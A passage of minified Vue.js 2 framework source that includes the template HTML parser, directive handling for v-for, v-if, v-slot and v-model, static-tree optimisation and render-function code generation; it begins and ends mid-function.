        return e.indexOf("-") > -1 ? Gn[e] = t.constructor === window.HTMLUnknownElement || t.constructor === window.HTMLElement : Gn[e] = /HTMLUnknownElement/.test(t.toString())
    }
    ,
    A(wn.options.directives, Qi),
    A(wn.options.components, fo),
    wn.prototype.__patch__ = z ? zi : S,
    wn.prototype.$mount = function(e, t) {
        return function(e, t, n) {
            var r;
            return e.$el = t,
            e.$options.render || (e.$options.render = ve),
            Yt(e, "beforeMount"),
            r = function() {
                e._update(e._render(), n)
            }
            ,
            new fn(e,r,S,{
                before: function() {
                    e._isMounted && !e._isDestroyed && Yt(e, "beforeUpdate")
                }
            },!0),
            n = !1,
            null == e.$vnode && (e._isMounted = !0,
            Yt(e, "mounted")),
            e
        }(this, e = e && z ? Yn(e) : void 0, t)
    }
    ,
    z && setTimeout(function() {
        F.devtools && ne && ne.emit("init", wn)
    }, 0);
    var po = /\{\{((?:.|\r?\n)+?)\}\}/g
      , vo = /[-.*+?^${}()|[\]\/\\]/g
      , ho = g(function(e) {
        var t = e[0].replace(vo, "\\$&")
          , n = e[1].replace(vo, "\\$&");
        return new RegExp(t + "((?:.|\\n)+?)" + n,"g")
    });
    var mo = {
        staticKeys: ["staticClass"],
        transformNode: function(e, t) {
            t.warn;
            var n = Fr(e, "class");
            n && (e.staticClass = JSON.stringify(n));
            var r = Ir(e, "class", !1);
            r && (e.classBinding = r)
        },
        genData: function(e) {
            var t = "";
            return e.staticClass && (t += "staticClass:" + e.staticClass + ","),
            e.classBinding && (t += "class:" + e.classBinding + ","),
            t
        }
    };
    var yo, go = {
        staticKeys: ["staticStyle"],
        transformNode: function(e, t) {
            t.warn;
            var n = Fr(e, "style");
            n && (e.staticStyle = JSON.stringify(ai(n)));
            var r = Ir(e, "style", !1);
            r && (e.styleBinding = r)
        },
        genData: function(e) {
            var t = "";
            return e.staticStyle && (t += "staticStyle:" + e.staticStyle + ","),
            e.styleBinding && (t += "style:(" + e.styleBinding + "),"),
            t
        }
    }, _o = function(e) {
        return (yo = yo || document.createElement("div")).innerHTML = e,
        yo.textContent
    }, bo = p("area,base,br,col,embed,frame,hr,img,input,isindex,keygen,link,meta,param,source,track,wbr"), $o = p("colgroup,dd,dt,li,options,p,td,tfoot,th,thead,tr,source"), wo = p("address,article,aside,base,blockquote,body,caption,col,colgroup,dd,details,dialog,div,dl,dt,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,head,header,hgroup,hr,html,legend,li,menuitem,meta,optgroup,option,param,rp,rt,source,style,summary,tbody,td,tfoot,th,thead,title,tr,track"), Co = /^\s*([^\s"'<>\/=]+)(?:\s*(=)\s*(?:"([^"]*)"+|'([^']*)'+|([^\s"'=<>`]+)))?/, xo = /^\s*((?:v-[\w-]+:|@|:|#)\[[^=]+\][^\s"'<>\/=]*)(?:\s*(=)\s*(?:"([^"]*)"+|'([^']*)'+|([^\s"'=<>`]+)))?/, ko = "[a-zA-Z_][\\-\\.0-9_a-zA-Z" + P.source + "]*", Ao = "((?:" + ko + "\\:)?" + ko + ")", Oo = new RegExp("^<" + Ao), So = /^\s*(\/?)>/, To = new RegExp("^<\\/" + Ao + "[^>]*>"), Eo = /^<!DOCTYPE [^>]+>/i, No = /^<!\--/, jo = /^<!\[/, Do = p("script,style,textarea", !0), Lo = {}, Mo = {
        "&lt;": "<",
        "&gt;": ">",
        "&quot;": '"',
        "&amp;": "&",
        "&#10;": "\n",
        "&#9;": "\t",
        "&#39;": "'"
    }, Io = /&(?:lt|gt|quot|amp|#39);/g, Fo = /&(?:lt|gt|quot|amp|#39|#10|#9);/g, Po = p("pre,textarea", !0), Ro = function(e, t) {
        return e && Po(e) && "\n" === t[0]
    };
    function Ho(e, t) {
        var n = t ? Fo : Io;
        return e.replace(n, function(e) {
            return Mo[e]
        })
    }
    var Bo, Uo, zo, Vo, Ko, Jo, qo, Wo, Zo = /^@|^v-on:/, Go = /^v-|^@|^:|^#/, Xo = /([\s\S]*?)\s+(?:in|of)\s+([\s\S]*)/, Yo = /,([^,\}\]]*)(?:,([^,\}\]]*))?$/, Qo = /^\(|\)$/g, ea = /^\[.*\]$/, ta = /:(.*)$/, na = /^:|^\.|^v-bind:/, ra = /\.[^.\]]+(?=[^\]]*$)/g, ia = /^v-slot(:|$)|^#/, oa = /[\r\n]/, aa = /\s+/g, sa = g(_o), ca = "_empty_";
    function ua(e, t, n) {
        return {
            type: 1,
            tag: e,
            attrsList: t,
            attrsMap: ma(t),
            rawAttrsMap: {},
            parent: n,
            children: []
        }
    }
    function la(e, t) {
        Bo = t.warn || Sr,
        Jo = t.isPreTag || T,
        qo = t.mustUseProp || T,
        Wo = t.getTagNamespace || T;
        t.isReservedTag;
        zo = Tr(t.modules, "transformNode"),
        Vo = Tr(t.modules, "preTransformNode"),
        Ko = Tr(t.modules, "postTransformNode"),
        Uo = t.delimiters;
        var n, r, i = [], o = !1 !== t.preserveWhitespace, a = t.whitespace, s = !1, c = !1;
        function u(e) {
            if (l(e),
            s || e.processed || (e = fa(e, t)),
            i.length || e === n || n.if && (e.elseif || e.else) && da(n, {
                exp: e.elseif,
                block: e
            }),
            r && !e.forbidden)
                if (e.elseif || e.else)
                    a = e,
                    (u = function(e) {
                        var t = e.length;
                        for (; t--; ) {
                            if (1 === e[t].type)
                                return e[t];
                            e.pop()
                        }
                    }(r.children)) && u.if && da(u, {
                        exp: a.elseif,
                        block: a
                    });
                else {
                    if (e.slotScope) {
                        var o = e.slotTarget || '"default"';
                        (r.scopedSlots || (r.scopedSlots = {}))[o] = e
                    }
                    r.children.push(e),
                    e.parent = r
                }
            var a, u;
            e.children = e.children.filter(function(e) {
                return !e.slotScope
            }),
            l(e),
            e.pre && (s = !1),
            Jo(e.tag) && (c = !1);
            for (var f = 0; f < Ko.length; f++)
                Ko[f](e, t)
        }
        function l(e) {
            if (!c)
                for (var t; (t = e.children[e.children.length - 1]) && 3 === t.type && " " === t.text; )
                    e.children.pop()
        }
        return function(e, t) {
            for (var n, r, i = [], o = t.expectHTML, a = t.isUnaryTag || T, s = t.canBeLeftOpenTag || T, c = 0; e; ) {
                if (n = e,
                r && Do(r)) {
                    var u = 0
                      , l = r.toLowerCase()
                      , f = Lo[l] || (Lo[l] = new RegExp("([\\s\\S]*?)(</" + l + "[^>]*>)","i"))
                      , p = e.replace(f, function(e, n, r) {
                        return u = r.length,
                        Do(l) || "noscript" === l || (n = n.replace(/<!\--([\s\S]*?)-->/g, "$1").replace(/<!\[CDATA\[([\s\S]*?)]]>/g, "$1")),
                        Ro(l, n) && (n = n.slice(1)),
                        t.chars && t.chars(n),
                        ""
                    });
                    c += e.length - p.length,
                    e = p,
                    A(l, c - u, c)
                } else {
                    var d = e.indexOf("<");
                    if (0 === d) {
                        if (No.test(e)) {
                            var v = e.indexOf("--\x3e");
                            if (v >= 0) {
                                t.shouldKeepComment && t.comment(e.substring(4, v), c, c + v + 3),
                                C(v + 3);
                                continue
                            }
                        }
                        if (jo.test(e)) {
                            var h = e.indexOf("]>");
                            if (h >= 0) {
                                C(h + 2);
                                continue
                            }
                        }
                        var m = e.match(Eo);
                        if (m) {
                            C(m[0].length);
                            continue
                        }
                        var y = e.match(To);
                        if (y) {
                            var g = c;
                            C(y[0].length),
                            A(y[1], g, c);
                            continue
                        }
                        var _ = x();
                        if (_) {
                            k(_),
                            Ro(_.tagName, e) && C(1);
                            continue
                        }
                    }
                    var b = void 0
                      , $ = void 0
                      , w = void 0;
                    if (d >= 0) {
                        for ($ = e.slice(d); !(To.test($) || Oo.test($) || No.test($) || jo.test($) || (w = $.indexOf("<", 1)) < 0); )
                            d += w,
                            $ = e.slice(d);
                        b = e.substring(0, d)
                    }
                    d < 0 && (b = e),
                    b && C(b.length),
                    t.chars && b && t.chars(b, c - b.length, c)
                }
                if (e === n) {
                    t.chars && t.chars(e);
                    break
                }
            }
            function C(t) {
                c += t,
                e = e.substring(t)
            }
            function x() {
                var t = e.match(Oo);
                if (t) {
                    var n, r, i = {
                        tagName: t[1],
                        attrs: [],
                        start: c
                    };
                    for (C(t[0].length); !(n = e.match(So)) && (r = e.match(xo) || e.match(Co)); )
                        r.start = c,
                        C(r[0].length),
                        r.end = c,
                        i.attrs.push(r);
                    if (n)
                        return i.unarySlash = n[1],
                        C(n[0].length),
                        i.end = c,
                        i
                }
            }
            function k(e) {
                var n = e.tagName
                  , c = e.unarySlash;
                o && ("p" === r && wo(n) && A(r),
                s(n) && r === n && A(n));
                for (var u = a(n) || !!c, l = e.attrs.length, f = new Array(l), p = 0; p < l; p++) {
                    var d = e.attrs[p]
                      , v = d[3] || d[4] || d[5] || ""
                      , h = "a" === n && "href" === d[1] ? t.shouldDecodeNewlinesForHref : t.shouldDecodeNewlines;
                    f[p] = {
                        name: d[1],
                        value: Ho(v, h)
                    }
                }
                u || (i.push({
                    tag: n,
                    lowerCasedTag: n.toLowerCase(),
                    attrs: f,
                    start: e.start,
                    end: e.end
                }),
                r = n),
                t.start && t.start(n, f, u, e.start, e.end)
            }
            function A(e, n, o) {
                var a, s;
                if (null == n && (n = c),
                null == o && (o = c),
                e)
                    for (s = e.toLowerCase(),
                    a = i.length - 1; a >= 0 && i[a].lowerCasedTag !== s; a--)
                        ;
                else
                    a = 0;
                if (a >= 0) {
                    for (var u = i.length - 1; u >= a; u--)
                        t.end && t.end(i[u].tag, n, o);
                    i.length = a,
                    r = a && i[a - 1].tag
                } else
                    "br" === s ? t.start && t.start(e, [], !0, n, o) : "p" === s && (t.start && t.start(e, [], !1, n, o),
                    t.end && t.end(e, n, o))
            }
            A()
        }(e, {
            warn: Bo,
            expectHTML: t.expectHTML,
            isUnaryTag: t.isUnaryTag,
            canBeLeftOpenTag: t.canBeLeftOpenTag,
            shouldDecodeNewlines: t.shouldDecodeNewlines,
            shouldDecodeNewlinesForHref: t.shouldDecodeNewlinesForHref,
            shouldKeepComment: t.comments,
            outputSourceRange: t.outputSourceRange,
            start: function(e, o, a, l, f) {
                var p = r && r.ns || Wo(e);
                q && "svg" === p && (o = function(e) {
                    for (var t = [], n = 0; n < e.length; n++) {
                        var r = e[n];
                        ya.test(r.name) || (r.name = r.name.replace(ga, ""),
                        t.push(r))
                    }
                    return t
                }(o));
                var d, v = ua(e, o, r);
                p && (v.ns = p),
                "style" !== (d = v).tag && ("script" !== d.tag || d.attrsMap.type && "text/javascript" !== d.attrsMap.type) || te() || (v.forbidden = !0);
                for (var h = 0; h < Vo.length; h++)
                    v = Vo[h](v, t) || v;
                s || (!function(e) {
                    null != Fr(e, "v-pre") && (e.pre = !0)
                }(v),
                v.pre && (s = !0)),
                Jo(v.tag) && (c = !0),
                s ? function(e) {
                    var t = e.attrsList
                      , n = t.length;
                    if (n)
                        for (var r = e.attrs = new Array(n), i = 0; i < n; i++)
                            r[i] = {
                                name: t[i].name,
                                value: JSON.stringify(t[i].value)
                            },
                            null != t[i].start && (r[i].start = t[i].start,
                            r[i].end = t[i].end);
                    else
                        e.pre || (e.plain = !0)
                }(v) : v.processed || (pa(v),
                function(e) {
                    var t = Fr(e, "v-if");
                    if (t)
                        e.if = t,
                        da(e, {
                            exp: t,
                            block: e
                        });
                    else {
                        null != Fr(e, "v-else") && (e.else = !0);
                        var n = Fr(e, "v-else-if");
                        n && (e.elseif = n)
                    }
                }(v),
                function(e) {
                    null != Fr(e, "v-once") && (e.once = !0)
                }(v)),
                n || (n = v),
                a ? u(v) : (r = v,
                i.push(v))
            },
            end: function(e, t, n) {
                var o = i[i.length - 1];
                i.length -= 1,
                r = i[i.length - 1],
                u(o)
            },
            chars: function(e, t, n) {
                if (r && (!q || "textarea" !== r.tag || r.attrsMap.placeholder !== e)) {
                    var i, u, l, f = r.children;
                    if (e = c || e.trim() ? "script" === (i = r).tag || "style" === i.tag ? e : sa(e) : f.length ? a ? "condense" === a && oa.test(e) ? "" : " " : o ? " " : "" : "")
                        c || "condense" !== a || (e = e.replace(aa, " ")),
                        !s && " " !== e && (u = function(e, t) {
                            var n = t ? ho(t) : po;
                            if (n.test(e)) {
                                for (var r, i, o, a = [], s = [], c = n.lastIndex = 0; r = n.exec(e); ) {
                                    (i = r.index) > c && (s.push(o = e.slice(c, i)),
                                    a.push(JSON.stringify(o)));
                                    var u = Ar(r[1].trim());
                                    a.push("_s(" + u + ")"),
                                    s.push({
                                        "@binding": u
                                    }),
                                    c = i + r[0].length
                                }
                                return c < e.length && (s.push(o = e.slice(c)),
                                a.push(JSON.stringify(o))),
                                {
                                    expression: a.join("+"),
                                    tokens: s
                                }
                            }
                        }(e, Uo)) ? l = {
                            type: 2,
                            expression: u.expression,
                            tokens: u.tokens,
                            text: e
                        } : " " === e && f.length && " " === f[f.length - 1].text || (l = {
                            type: 3,
                            text: e
                        }),
                        l && f.push(l)
                }
            },
            comment: function(e, t, n) {
                if (r) {
                    var i = {
                        type: 3,
                        text: e,
                        isComment: !0
                    };
                    r.children.push(i)
                }
            }
        }),
        n
    }
    function fa(e, t) {
        var n, r;
        (r = Ir(n = e, "key")) && (n.key = r),
        e.plain = !e.key && !e.scopedSlots && !e.attrsList.length,
        function(e) {
            var t = Ir(e, "ref");
            t && (e.ref = t,
            e.refInFor = function(e) {
                var t = e;
                for (; t; ) {
                    if (void 0 !== t.for)
                        return !0;
                    t = t.parent
                }
                return !1
            }(e))
        }(e),
        function(e) {
            var t;
            "template" === e.tag ? (t = Fr(e, "scope"),
            e.slotScope = t || Fr(e, "slot-scope")) : (t = Fr(e, "slot-scope")) && (e.slotScope = t);
            var n = Ir(e, "slot");
            n && (e.slotTarget = '""' === n ? '"default"' : n,
            e.slotTargetDynamic = !(!e.attrsMap[":slot"] && !e.attrsMap["v-bind:slot"]),
            "template" === e.tag || e.slotScope || Nr(e, "slot", n, function(e, t) {
                return e.rawAttrsMap[":" + t] || e.rawAttrsMap["v-bind:" + t] || e.rawAttrsMap[t]
            }(e, "slot")));
            if ("template" === e.tag) {
                var r = Pr(e, ia);
                if (r) {
                    var i = va(r)
                      , o = i.name
                      , a = i.dynamic;
                    e.slotTarget = o,
                    e.slotTargetDynamic = a,
                    e.slotScope = r.value || ca
                }
            } else {
                var s = Pr(e, ia);
                if (s) {
                    var c = e.scopedSlots || (e.scopedSlots = {})
                      , u = va(s)
                      , l = u.name
                      , f = u.dynamic
                      , p = c[l] = ua("template", [], e);
                    p.slotTarget = l,
                    p.slotTargetDynamic = f,
                    p.children = e.children.filter(function(e) {
                        if (!e.slotScope)
                            return e.parent = p,
                            !0
                    }),
                    p.slotScope = s.value || ca,
                    e.children = [],
                    e.plain = !1
                }
            }
        }(e),
        function(e) {
            "slot" === e.tag && (e.slotName = Ir(e, "name"))
        }(e),
        function(e) {
            var t;
            (t = Ir(e, "is")) && (e.component = t);
            null != Fr(e, "inline-template") && (e.inlineTemplate = !0)
        }(e);
        for (var i = 0; i < zo.length; i++)
            e = zo[i](e, t) || e;
        return function(e) {
            var t, n, r, i, o, a, s, c, u = e.attrsList;
            for (t = 0,
            n = u.length; t < n; t++)
                if (r = i = u[t].name,
                o = u[t].value,
                Go.test(r))
                    if (e.hasBindings = !0,
                    (a = ha(r.replace(Go, ""))) && (r = r.replace(ra, "")),
                    na.test(r))
                        r = r.replace(na, ""),
                        o = Ar(o),
                        (c = ea.test(r)) && (r = r.slice(1, -1)),
                        a && (a.prop && !c && "innerHtml" === (r = b(r)) && (r = "innerHTML"),
                        a.camel && !c && (r = b(r)),
                        a.sync && (s = Br(o, "$event"),
                        c ? Mr(e, '"update:"+(' + r + ")", s, null, !1, 0, u[t], !0) : (Mr(e, "update:" + b(r), s, null, !1, 0, u[t]),
                        C(r) !== b(r) && Mr(e, "update:" + C(r), s, null, !1, 0, u[t])))),
                        a && a.prop || !e.component && qo(e.tag, e.attrsMap.type, r) ? Er(e, r, o, u[t], c) : Nr(e, r, o, u[t], c);
                    else if (Zo.test(r))
                        r = r.replace(Zo, ""),
                        (c = ea.test(r)) && (r = r.slice(1, -1)),
                        Mr(e, r, o, a, !1, 0, u[t], c);
                    else {
                        var l = (r = r.replace(Go, "")).match(ta)
                          , f = l && l[1];
                        c = !1,
                        f && (r = r.slice(0, -(f.length + 1)),
                        ea.test(f) && (f = f.slice(1, -1),
                        c = !0)),
                        Dr(e, r, i, o, f, c, a, u[t])
                    }
                else
                    Nr(e, r, JSON.stringify(o), u[t]),
                    !e.component && "muted" === r && qo(e.tag, e.attrsMap.type, r) && Er(e, r, "true", u[t])
        }(e),
        e
    }
    function pa(e) {
        var t;
        if (t = Fr(e, "v-for")) {
            var n = function(e) {
                var t = e.match(Xo);
                if (!t)
                    return;
                var n = {};
                n.for = t[2].trim();
                var r = t[1].trim().replace(Qo, "")
                  , i = r.match(Yo);
                i ? (n.alias = r.replace(Yo, "").trim(),
                n.iterator1 = i[1].trim(),
                i[2] && (n.iterator2 = i[2].trim())) : n.alias = r;
                return n
            }(t);
            n && A(e, n)
        }
    }
    function da(e, t) {
        e.ifConditions || (e.ifConditions = []),
        e.ifConditions.push(t)
    }
    function va(e) {
        var t = e.name.replace(ia, "");
        return t || "#" !== e.name[0] && (t = "default"),
        ea.test(t) ? {
            name: t.slice(1, -1),
            dynamic: !0
        } : {
            name: '"' + t + '"',
            dynamic: !1
        }
    }
    function ha(e) {
        var t = e.match(ra);
        if (t) {
            var n = {};
            return t.forEach(function(e) {
                n[e.slice(1)] = !0
            }),
            n
        }
    }
    function ma(e) {
        for (var t = {}, n = 0, r = e.length; n < r; n++)
            t[e[n].name] = e[n].value;
        return t
    }
    var ya = /^xmlns:NS\d+/
      , ga = /^NS\d+:/;
    function _a(e) {
        return ua(e.tag, e.attrsList.slice(), e.parent)
    }
    var ba = [mo, go, {
        preTransformNode: function(e, t) {
            if ("input" === e.tag) {
                var n, r = e.attrsMap;
                if (!r["v-model"])
                    return;
                if ((r[":type"] || r["v-bind:type"]) && (n = Ir(e, "type")),
                r.type || n || !r["v-bind"] || (n = "(" + r["v-bind"] + ").type"),
                n) {
                    var i = Fr(e, "v-if", !0)
                      , o = i ? "&&(" + i + ")" : ""
                      , a = null != Fr(e, "v-else", !0)
                      , s = Fr(e, "v-else-if", !0)
                      , c = _a(e);
                    pa(c),
                    jr(c, "type", "checkbox"),
                    fa(c, t),
                    c.processed = !0,
                    c.if = "(" + n + ")==='checkbox'" + o,
                    da(c, {
                        exp: c.if,
                        block: c
                    });
                    var u = _a(e);
                    Fr(u, "v-for", !0),
                    jr(u, "type", "radio"),
                    fa(u, t),
                    da(c, {
                        exp: "(" + n + ")==='radio'" + o,
                        block: u
                    });
                    var l = _a(e);
                    return Fr(l, "v-for", !0),
                    jr(l, ":type", n),
                    fa(l, t),
                    da(c, {
                        exp: i,
                        block: l
                    }),
                    a ? c.else = !0 : s && (c.elseif = s),
                    c
                }
            }
        }
    }];
    var $a, wa, Ca = {
        expectHTML: !0,
        modules: ba,
        directives: {
            model: function(e, t, n) {
                var r = t.value
                  , i = t.modifiers
                  , o = e.tag
                  , a = e.attrsMap.type;
                if (e.component)
                    return Hr(e, r, i),
                    !1;
                if ("select" === o)
                    !function(e, t, n) {
                        var r = 'var $$selectedVal = Array.prototype.filter.call($event.target.options,function(o){return o.selected}).map(function(o){var val = "_value" in o ? o._value : o.value;return ' + (n && n.number ? "_n(val)" : "val") + "});";
                        r = r + " " + Br(t, "$event.target.multiple ? $$selectedVal : $$selectedVal[0]"),
                        Mr(e, "change", r, null, !0)
                    }(e, r, i);
                else if ("input" === o && "checkbox" === a)
                    !function(e, t, n) {
                        var r = n && n.number
                          , i = Ir(e, "value") || "null"
                          , o = Ir(e, "true-value") || "true"
                          , a = Ir(e, "false-value") || "false";
                        Er(e, "checked", "Array.isArray(" + t + ")?_i(" + t + "," + i + ")>-1" + ("true" === o ? ":(" + t + ")" : ":_q(" + t + "," + o + ")")),
                        Mr(e, "change", "var $$a=" + t + ",$$el=$event.target,$$c=$$el.checked?(" + o + "):(" + a + ");if(Array.isArray($$a)){var $$v=" + (r ? "_n(" + i + ")" : i) + ",$$i=_i($$a,$$v);if($$el.checked){$$i<0&&(" + Br(t, "$$a.concat([$$v])") + ")}else{$$i>-1&&(" + Br(t, "$$a.slice(0,$$i).concat($$a.slice($$i+1))") + ")}}else{" + Br(t, "$$c") + "}", null, !0)
                    }(e, r, i);
                else if ("input" === o && "radio" === a)
                    !function(e, t, n) {
                        var r = n && n.number
                          , i = Ir(e, "value") || "null";
                        Er(e, "checked", "_q(" + t + "," + (i = r ? "_n(" + i + ")" : i) + ")"),
                        Mr(e, "change", Br(t, i), null, !0)
                    }(e, r, i);
                else if ("input" === o || "textarea" === o)
                    !function(e, t, n) {
                        var r = e.attrsMap.type
                          , i = n || {}
                          , o = i.lazy
                          , a = i.number
                          , s = i.trim
                          , c = !o && "range" !== r
                          , u = o ? "change" : "range" === r ? Wr : "input"
                          , l = "$event.target.value";
                        s && (l = "$event.target.value.trim()"),
                        a && (l = "_n(" + l + ")");
                        var f = Br(t, l);
                        c && (f = "if($event.target.composing)return;" + f),
                        Er(e, "value", "(" + t + ")"),
                        Mr(e, u, f, null, !0),
                        (s || a) && Mr(e, "blur", "$forceUpdate()")
                    }(e, r, i);
                else if (!F.isReservedTag(o))
                    return Hr(e, r, i),
                    !1;
                return !0
            },
            text: function(e, t) {
                t.value && Er(e, "textContent", "_s(" + t.value + ")", t)
            },
            html: function(e, t) {
                t.value && Er(e, "innerHTML", "_s(" + t.value + ")", t)
            }
        },
        isPreTag: function(e) {
            return "pre" === e
        },
        isUnaryTag: bo,
        mustUseProp: jn,
        canBeLeftOpenTag: $o,
        isReservedTag: Wn,
        getTagNamespace: Zn,
        staticKeys: function(e) {
            return e.reduce(function(e, t) {
                return e.concat(t.staticKeys || [])
            }, []).join(",")
        }(ba)
    }, xa = g(function(e) {
        return p("type,tag,attrsList,attrsMap,plain,parent,children,attrs,start,end,rawAttrsMap" + (e ? "," + e : ""))
    });
    function ka(e, t) {
        e && ($a = xa(t.staticKeys || ""),
        wa = t.isReservedTag || T,
        function e(t) {
            t.static = function(e) {
                if (2 === e.type)
                    return !1;
                if (3 === e.type)
                    return !0;
                return !(!e.pre && (e.hasBindings || e.if || e.for || d(e.tag) || !wa(e.tag) || function(e) {
                    for (; e.parent; ) {
                        if ("template" !== (e = e.parent).tag)
                            return !1;
                        if (e.for)
                            return !0
                    }
                    return !1
                }(e) || !Object.keys(e).every($a)))
            }(t);
            if (1 === t.type) {
                if (!wa(t.tag) && "slot" !== t.tag && null == t.attrsMap["inline-template"])
                    return;
                for (var n = 0, r = t.children.length; n < r; n++) {
                    var i = t.children[n];
                    e(i),
                    i.static || (t.static = !1)
                }
                if (t.ifConditions)
                    for (var o = 1, a = t.ifConditions.length; o < a; o++) {
                        var s = t.ifConditions[o].block;
                        e(s),
                        s.static || (t.static = !1)
                    }
            }
        }(e),
        function e(t, n) {
            if (1 === t.type) {
                if ((t.static || t.once) && (t.staticInFor = n),
                t.static && t.children.length && (1 !== t.children.length || 3 !== t.children[0].type))
                    return void (t.staticRoot = !0);
                if (t.staticRoot = !1,
                t.children)
                    for (var r = 0, i = t.children.length; r < i; r++)
                        e(t.children[r], n || !!t.for);
                if (t.ifConditions)
                    for (var o = 1, a = t.ifConditions.length; o < a; o++)
                        e(t.ifConditions[o].block, n)
            }
        }(e, !1))
    }
    var Aa = /^([\w$_]+|\([^)]*?\))\s*=>|^function(?:\s+[\w$]+)?\s*\(/
      , Oa = /\([^)]*?\);*$/
      , Sa = /^[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*|\['[^']*?']|\["[^"]*?"]|\[\d+]|\[[A-Za-z_$][\w$]*])*$/
      , Ta = {
        esc: 27,
        tab: 9,
        enter: 13,
        space: 32,
        up: 38,
        left: 37,
        right: 39,
        down: 40,
        delete: [8, 46]
    }
      , Ea = {
        esc: ["Esc", "Escape"],
        tab: "Tab",
        enter: "Enter",
        space: [" ", "Spacebar"],
        up: ["Up", "ArrowUp"],
        left: ["Left", "ArrowLeft"],
        right: ["Right", "ArrowRight"],
        down: ["Down", "ArrowDown"],
        delete: ["Backspace", "Delete", "Del"]
    }
      , Na = function(e) {
        return "if(" + e + ")return null;"
    }
      , ja = {
        stop: "$event.stopPropagation();",
        prevent: "$event.preventDefault();",
        self: Na("$event.target !== $event.currentTarget"),
        ctrl: Na("!$event.ctrlKey"),
        shift: Na("!$event.shiftKey"),
        alt: Na("!$event.altKey"),
        meta: Na("!$event.metaKey"),
        left: Na("'button' in $event && $event.button !== 0"),
        middle: Na("'button' in $event && $event.button !== 1"),
        right: Na("'button' in $event && $event.button !== 2")
    };
    function Da(e, t) {
        var n = t ? "nativeOn:" : "on:"
          , r = ""
          , i = "";
        for (var o in e) {
            var a = La(e[o]);
            e[o] && e[o].dynamic ? i += o + "," + a + "," : r += '"' + o + '":' + a + ","
        }
        return r = "{" + r.slice(0, -1) + "}",
        i ? n + "_d(" + r + ",[" + i.slice(0, -1) + "])" : n + r
    }
    function La(e) {
        if (!e)
            return "function(){}";
        if (Array.isArray(e))
            return "[" + e.map(function(e) {
                return La(e)
            }).join(",") + "]";
        var t = Sa.test(e.value)
          , n = Aa.test(e.value)
          , r = Sa.test(e.value.replace(Oa, ""));
        if (e.modifiers) {
            var i = ""
              , o = ""
              , a = [];
            for (var s in e.modifiers)
                if (ja[s])
                    o += ja[s],
                    Ta[s] && a.push(s);
                else if ("exact" === s) {
                    var c = e.modifiers;
                    o += Na(["ctrl", "shift", "alt", "meta"].filter(function(e) {
                        return !c[e]
                    }).map(function(e) {
                        return "$event." + e + "Key"
                    }).join("||"))
                } else
                    a.push(s);
            return a.length && (i += function(e) {
                return "if(!$event.type.indexOf('key')&&" + e.map(Ma).join("&&") + ")return null;"
            }(a)),
            o && (i += o),
            "function($event){" + i + (t ? "return " + e.value + "($event)" : n ? "return (" + e.value + ")($event)" : r ? "return " + e.value : e.value) + "}"
        }
        return t || n ? e.value : "function($event){" + (r ? "return " + e.value : e.value) + "}"
    }
    function Ma(e) {
        var t = parseInt(e, 10);
        if (t)
            return "$event.keyCode!==" + t;
        var n = Ta[e]
          , r = Ea[e];
        return "_k($event.keyCode," + JSON.stringify(e) + "," + JSON.stringify(n) + ",$event.key," + JSON.stringify(r) + ")"
    }
    var Ia = {
        on: function(e, t) {
            e.wrapListeners = function(e) {
                return "_g(" + e + "," + t.value + ")"
            }
        },
        bind: function(e, t) {
            e.wrapData = function(n) {
                return "_b(" + n + ",'" + e.tag + "'," + t.value + "," + (t.modifiers && t.modifiers.prop ? "true" : "false") + (t.modifiers && t.modifiers.sync ? ",true" : "") + ")"
            }
        },
        cloak: S
    }
      , Fa = function(e) {
        this.options = e,
        this.warn = e.warn || Sr,
        this.transforms = Tr(e.modules, "transformCode"),
        this.dataGenFns = Tr(e.modules, "genData"),
        this.directives = A(A({}, Ia), e.directives);
        var t = e.isReservedTag || T;
        this.maybeComponent = function(e) {
            return !!e.component || !t(e.tag)
        }
        ,
        this.onceId = 0,
        this.staticRenderFns = [],
        this.pre = !1
    };
    function Pa(e, t) {
        var n = new Fa(t);
        return {
            render: "with(this){return " + (e ? Ra(e, n) : '_c("div")') + "}",
            staticRenderFns: n.staticRenderFns
        }
    }
    function Ra(e, t) {
        if (e.parent && (e.pre = e.pre || e.parent.pre),
        e.staticRoot && !e.staticProcessed)
            return Ha(e, t);
        if (e.once && !e.onceProcessed)
            return Ba(e, t);
        if (e.for && !e.forProcessed)
            return za(e, t);
        if (e.if && !e.ifProcessed)
            return Ua(e, t);
        if ("template" !== e.tag || e.slotTarget || t.pre) {
            if ("slot" === e.tag)
                return function(e, t) {
                    var n = e.slotName || '"default"'
                      , r = qa(e, t)
                      , i = "_t(" + n + (r ? "," + r : "")
                      , o = e.attrs || e.dynamicAttrs ? Ga((e.attrs || []).concat(e.dynamicAttrs || []).map(function(e) {
                        return {
                            name: b(e.name),
                            value: e.value,
                            dynamic: e.dynamic
                        }
                    })) : null
                      , a = e.attrsMap["v-bind"];
                    !o && !a || r || (i += ",null");
                    o && (i += "," + o);
                    a && (i += (o ? "" : ",null") + "," + a);
                    return i + ")"
                }(e, t);
            var n;
            if (e.component)
                n = function(e, t, n) {
                    var r = t.inlineTemplate ? null : qa(t, n, !0);
                    return "_c(" + e + "," + Va(t, n) + (r ? "," + r : "") + ")"
                }(e.component, e, t);
            else {
                var r;
                (!e.plain || e.pre && t.maybeComponent(e)) && (r = Va(e, t));
                var i = e.inlineTemplate ? null : qa(e, t, !0);
                n = "_c('" + e.tag + "'" + (r ? "," + r : "") + (i ? "," + i : "") + ")"
            }
            for (var o = 0; o < t.transforms.length; o++)
                n = t.transforms[o](e, n);
            return n
        }
        return qa(e, t) || "void 0"
    }
    function Ha(e, t) {
        e.staticProcessed = !0;
        var n = t.pre;
        return e.pre && (t.pre = e.pre),
        t.staticRenderFns.push("with(this){return " + Ra(e, t) + "}"),
        t.pre = n,
        "_m(" + (t.staticRenderFns.length - 1) + (e.staticInFor ? ",true" : "") + ")"
    }
    function Ba(e, t) {
        if (e.onceProcessed = !0,
        e.if && !e.ifProcessed)
            return Ua(e, t);
        if (e.staticInFor) {
            for (var n = "", r = e.parent; r; ) {
                if (r.for) {
                    n = r.key;
                    break
                }
                r = r.parent
            }
            return n ? "_o(" + Ra(e, t) + "," + t.onceId++ + "," + n + ")" : Ra(e, t)
        }
        return Ha(e, t)
    }
    function Ua(e, t, n, r) {
        return e.ifProcessed = !0,
        function e(t, n, r, i) {
            if (!t.length)
                return i || "_e()";
            var o = t.shift();
            return o.exp ? "(" + o.exp + ")?" + a(o.block) + ":" + e(t, n, r, i) : "" + a(o.block);
            function a(e) {
                return r ? r(e, n) : e.once ? Ba(e, n) : Ra(e, n)
            }
        }(e.ifConditions.slice(), t, n, r)
